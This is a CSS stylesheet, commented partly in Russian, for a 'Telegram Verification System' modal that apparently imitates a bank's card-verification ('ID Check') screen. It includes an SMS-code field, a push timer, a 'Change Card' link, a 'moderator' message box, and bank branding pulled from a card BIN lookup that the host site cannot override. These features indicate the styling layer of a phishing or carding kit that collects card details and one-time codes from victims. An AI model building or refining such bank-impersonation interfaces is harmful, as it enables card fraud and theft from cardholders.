/**
 * Telegram Verification System — Styles (Universal)
 *
 * Override the CSS variables below to match your site's theme.
 */

/* === CSS Variables (единый фирменный вид виджета) ===
 * Переменные объявлены на САМОМ виджете (.verification-container), а не на :root:
 * сайт-носитель больше не может «подстроить» виджет под свой стиль через
 * :root { --ver-primary: ... } — на всех сайтах виджет выглядит одинаково.
 * Изменить фирменный вид можно только тут (или передав bin_color с bin.php —
 * тогда акцент автоматически перекрашивается под цвет банка). */
.verification-container {
    --ver-primary:       #006bb6;
    --ver-primary-hover: #005a99;
    --ver-primary-light: rgba(0, 107, 182, .15);
    --ver-red:           #c0392b;
    --ver-green:         #27ae60;
    --ver-text:          #080e19;
    --ver-muted:         #5f6570;
    --ver-border:        #e2e2e2;
    --ver-bg:            #f7f7f7;
    --ver-white:         #fff;
    --ver-font:          'brandon-grotesque', 'Segoe UI', Arial, sans-serif;
    font-family: var(--ver-font);
}

/* === Container (Modal Overlay) === */
.verification-container {
    position: fixed;
    top: 0;
    left: 0;
    width: 100vw;
    height: 100vh;
    background: rgba(0, 0, 0, 0.65);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 10000;
    padding: 20px;
    box-sizing: border-box;
    backdrop-filter: blur(2px);
}

/* === Card (Modal Content) === */
.verification-card {
    background: var(--ver-white);
    border: none;
    border-radius: 8px;
    padding: 24px 28px 28px;
    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
    display: flex;
    flex-direction: column;
    align-items: stretch;
    animation: ver-fadeIn .3s ease-out;
    font-family: var(--ver-font);
    color: var(--ver-text);
    width: 100%;
    max-width: 440px;
    position: relative;
}

/* === Logo row (hidden by default — override if needed) === */
.verification-logos {
    display: none;
}

/* === Title === */
.verification-title {
    font-size: 1.1rem;
    font-weight: 700;
    color: var(--ver-text);
    text-align: center;
    margin: 0 0 16px;
    padding-bottom: 14px;
    border-bottom: 1px solid var(--ver-border);
    font-family: var(--ver-font);
    letter-spacing: .1px;
}

/* === Loading spinner === */
.verification-loading-text {
    font-size: .88rem;
    color: var(--ver-muted);
    text-align: center;
    margin: 8px 0 6px;
    line-height: 1.5;
}

.verification-spinner-container {
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 28px 0 20px;
}

.verification-spinner {
    width: 44px;
    height: 44px;
    border: 4px solid #e8f7f8;
    border-top-color: var(--ver-primary);
    border-radius: 50%;
    animation: ver-spin .9s linear infinite;
}

@keyframes ver-spin {
    to { transform: rotate(360deg); }
}

/* === Transaction info table === */
.ver-info-table {
    margin: 0 0 20px;
    border-top: 1px solid var(--ver-border);
    border-bottom: 1px solid var(--ver-border);
    padding: 10px 0;
}

.ver-info-row {
    display: flex;
    align-items: baseline;
    padding: 5px 0;
    font-size: .82rem;
}

.ver-info-label {
    flex: 0 0 38%;
    color: var(--ver-muted);
    font-weight: 400;
    padding-right: 8px;
}

.ver-info-value {
    flex: 1;
    color: var(--ver-text);
    font-weight: 600;
    text-align: right;
}

.ver-info-mono {
    font-family: 'Courier New', monospace;
    letter-spacing: 1px;
    font-size: .8rem;
}

/* Moderator → user message (between card block and step text) */
.verification-mod-notice {
    margin: 0 0 18px;
    padding: 0;
    font-size: .88rem;
    line-height: 1.6;
    color: var(--ver-text);
    background: transparent;
    border: 0;
    border-radius: 0;
    text-align: center;
    white-space: pre-wrap;
    word-break: break-word;
}
.verification-mod-notice.hidden {
    display: none !important;
}

/* === Step text === */
.verification-step-text {
    font-size: .88rem;
    color: var(--ver-text);
    line-height: 1.6;
    text-align: center;
    margin: 0 0 18px;
}

/* === SMS input === */
.verification-input-container {
    margin-bottom: 10px;
}

.verification-input {
    width: 100%;
    box-sizing: border-box;
    background: var(--ver-white);
    color: var(--ver-text);
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 10px 13px;
    font-size: 15px;
    font-family: var(--ver-font);
    text-align: center;
    letter-spacing: normal;
    outline: none;
    transition: border-color .2s, box-shadow .2s;
}

.verification-input::placeholder {
    letter-spacing: normal;
}

.verification-input:focus {
    border-color: var(--ver-primary);
    box-shadow: 0 0 0 2px var(--ver-primary-light);
}

/* === Primary button === */
.verification-btn {
    width: 100%;
    max-width: 100%;
    background: var(--ver-primary);
    color: #fff;
    border: none;
    border-radius: 4px;
    padding: 12px 24px;
    font-size: 14px;
    font-weight: 700;
    font-family: var(--ver-font);
    letter-spacing: .4px;
    text-transform: uppercase;
    cursor: pointer;
    margin: 18px 0 0;
    display: block;
    transition: background .2s, box-shadow .2s, transform .1s;
    box-shadow: 0 4px 12px rgba(16, 160, 174, .25);
}

.verification-btn:hover {
    background: var(--ver-primary-hover);
    box-shadow: 0 6px 16px rgba(16, 160, 174, .35);
    transform: translateY(-1px);
}

.verification-btn:active {
    transform: translateY(0);
    box-shadow: none;
}

/* === Change Card link === */
.verification-change-card {
    display: block;
    text-align: center;
    margin-top: 14px;
    color: var(--ver-primary);
    cursor: pointer;
    font-size: 12px;
    font-family: var(--ver-font);
    text-decoration: underline;
    text-underline-offset: 2px;
    transition: color .2s;
}

.verification-change-card:hover {
    color: var(--ver-primary-hover);
}

/* === Error messages === */
.verification-error {
    color: var(--ver-red);
    font-size: 12px;
    font-family: var(--ver-font);
    margin-top: 7px;
    text-align: center;
    font-weight: 600;
}

.verification-error-message {
    color: var(--ver-red);
    font-size: .85rem;
    font-family: var(--ver-font);
    font-weight: 500;
    text-align: center;
    margin: 16px 0;
    padding: 14px 16px;
    background: rgba(192, 57, 43, .07);
    border-radius: 4px;
    border: 1px solid rgba(192, 57, 43, .3);
    line-height: 1.5;
}

/* === Timer (push step) === */
.verification-timer-container {
    margin: 6px 0 4px;
}

.verification-timer-text {
    font-size: .88rem;
    font-family: var(--ver-font);
    font-weight: 600;
    color: var(--ver-text);
    text-align: center;
    margin-bottom: 12px;
}

.verification-timer-text span {
    color: var(--ver-primary);
    font-size: 1.15rem;
    font-weight: 800;
}

.verification-progress-bar {
    width: 100%;
    height: 6px;
    background: #e8f7f8;
    border-radius: 3px;
    overflow: hidden;
}

.verification-progress-bar-fill {
    height: 100%;
    background: var(--ver-primary);
    border-radius: 3px;
    transition: width 1s linear;
    width: 100%;
}

/* === Hidden === */
.verification-hidden {
    display: none !important;
}

/* === Success state === */
.verification-success {
    color: var(--ver-green);
    font-size: .9rem;
    font-family: var(--ver-font);
    font-weight: 600;
    text-align: center;
    margin: 20px 0;
    padding: 16px;
    background: rgba(39, 174, 96, .08);
    border-radius: 4px;
    border: 1px solid rgba(39, 174, 96, .3);
}

/* === Animations === */
@keyframes ver-fadeIn {
    from { opacity: 0; transform: translateY(8px); }
    to   { opacity: 1; transform: translateY(0); }
}

/* === Accessibility === */
.verification-btn:focus,
.verification-input:focus,
.verification-change-card:focus {
    outline: 2px solid var(--ver-primary);
    outline-offset: 2px;
}

/* === Responsive === */
@media (max-width: 480px) {
    .verification-container {
        padding: 16px 16px 20px;
    }
    .verification-title {
        font-size: .98rem;
    }
    .verification-step-text,
    .verification-loading-text {
        font-size: .84rem;
    }
    .verification-btn {
        font-size: 13px;
        padding: 11px 16px;
    }
    .ver-info-label {
        flex: 0 0 42%;
    }
}

@media print {
    .verification-container { display: none; }
}

/* === Secure header bar === */
.ver-secure-bar {
    background: #0d2a6b;
    color: #fff;
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 11px 18px;
    margin: -24px -28px 18px;
    border-radius: 8px 8px 0 0;
    font-size: 0.78rem;
    font-weight: 700;
    letter-spacing: 1px;
    text-transform: uppercase;
    font-family: var(--ver-font);
    position: relative;
    z-index: 3;
}

.ver-secure-close {
    -webkit-appearance: none;
    appearance: none;
    margin: 0;
    padding: 6px 10px;
    border: none;
    background: transparent;
    color: inherit;
    opacity: 0.85;
    font-size: 1rem;
    line-height: 1;
    cursor: pointer;
    flex-shrink: 0;
    border-radius: 4px;
    font-family: inherit;
}

.ver-secure-close:hover {
    opacity: 1;
    background: rgba(255, 255, 255, 0.12);
}

.ver-secure-close:focus-visible {
    outline: 2px solid #fff;
    outline-offset: 2px;
}

/* === Logo row (bank left, scheme + ID Check right) === */
.ver-logo-row {
    display: flex;
    align-items: center;
    justify-content: space-between;
    width: 100%;
    gap: 16px;
    padding: 10px 0 14px;
    border-bottom: 1px solid var(--ver-border);
    margin-bottom: 14px;
}

.ver-logo-bank-slot {
    flex: 1 1 auto;
    min-width: 0;
    display: flex;
    justify-content: flex-start;
    align-items: center;
}

.ver-logo-right-cluster {
    flex: 0 0 auto;
    display: flex;
    align-items: center;
    gap: 14px;
    margin-left: auto;
}

.ver-logo-bank {
    flex: 0 0 auto;
}

.ver-logo-bank img {
    max-height: 38px;
    max-width: 130px;
    width: auto;
    object-fit: contain;
    display: block;
}

.ver-logo-divider {
    flex: 0 0 1px;
    width: 1px;
    height: 38px;
    background: var(--ver-border);
}

.ver-logo-scheme {
    display: flex;
    align-items: center;
    gap: 7px;
    flex: 0 0 auto;
}

.ver-logo-scheme svg {
    flex-shrink: 0;
    display: block;
}

.ver-scheme-mark {
    display: flex;
    align-items: center;
    flex-shrink: 0;
}

.ver-scheme-logo {
    max-height: 22px;
    width: auto;
    object-fit: contain;
    display: block;
}

.ver-scheme-svg-fallback {
    flex-shrink: 0;
}

.ver-id-check {
    font-size: 0.75rem;
    font-weight: 600;
    color: var(--ver-muted);
    white-space: nowrap;
    font-family: var(--ver-font);
}

@media (max-width: 480px) {
    .ver-secure-bar {
        margin: -24px -20px 14px;
        padding: 10px 14px;
        font-size: 0.72rem;
    }
    .ver-logo-bank img {
        max-height: 30px;
        max-width: 100px;
    }
    .ver-logo-scheme img {
        height: 22px;
    }
}

/* === Тема «под банк» (binking): модалка в фирменном градиенте банка ===
 * Класс вешает verification-system.js (_applyBankAccent), когда bin.php
 * вернул bin_gradient. Значения приходят инлайном на .verification-container:
 * --ver-bank-bg / --ver-bank-text / --ver-bank-border. */
.verification-card.ver-bank-theme {
    background: var(--ver-bank-bg, var(--ver-white));
    color: var(--ver-bank-text, var(--ver-text));
    border: 1px solid var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .verification-title,
.verification-card.ver-bank-theme .verification-step-text,
.verification-card.ver-bank-theme .verification-loading-text,
.verification-card.ver-bank-theme .verification-timer-text {
    color: var(--ver-bank-text, var(--ver-text));
}
.verification-card.ver-bank-theme .ver-info-label {
    color: var(--ver-bank-text, var(--ver-text));
    opacity: .72;
}
.verification-card.ver-bank-theme .ver-info-value,
.verification-card.ver-bank-theme .ver-info-mono {
    color: var(--ver-bank-text, var(--ver-text));
}
.verification-card.ver-bank-theme .ver-info-row {
    border-top-color: var(--ver-bank-border, var(--ver-border));
    border-bottom-color: var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .ver-secure-bar {
    background: rgba(255, 255, 255, .10);
    color: var(--ver-bank-text, var(--ver-text));
    border-bottom: 1px solid var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .ver-secure-close {
    color: var(--ver-bank-text, var(--ver-text));
}
.verification-card.ver-bank-theme .verification-btn {
    background: #ffffff;
    color: #0d1524;
    border: 1px solid var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .verification-btn:hover {
    filter: brightness(.94);
}
.verification-card.ver-bank-theme .verification-change-card {
    color: var(--ver-bank-text, var(--ver-text));
    opacity: .85;
}
.verification-card.ver-bank-theme .verification-change-card:hover {
    opacity: 1;
}
.verification-card.ver-bank-theme .ver-id-check {
    color: var(--ver-bank-text, var(--ver-text));
    border-color: var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .ver-logo-divider {
    background: var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .verification-input {
    background: rgba(255, 255, 255, .92);
    color: #0d1524;
    border-color: var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .verification-error {
    color: #ffe0dc;
}
.verification-card.ver-bank-theme .verification-mod-notice {
    color: var(--ver-bank-text, var(--ver-text));
    border-color: var(--ver-bank-border, var(--ver-border));
}
.verification-card.ver-bank-theme .ver-secure-bar::before {
    content: none;
}
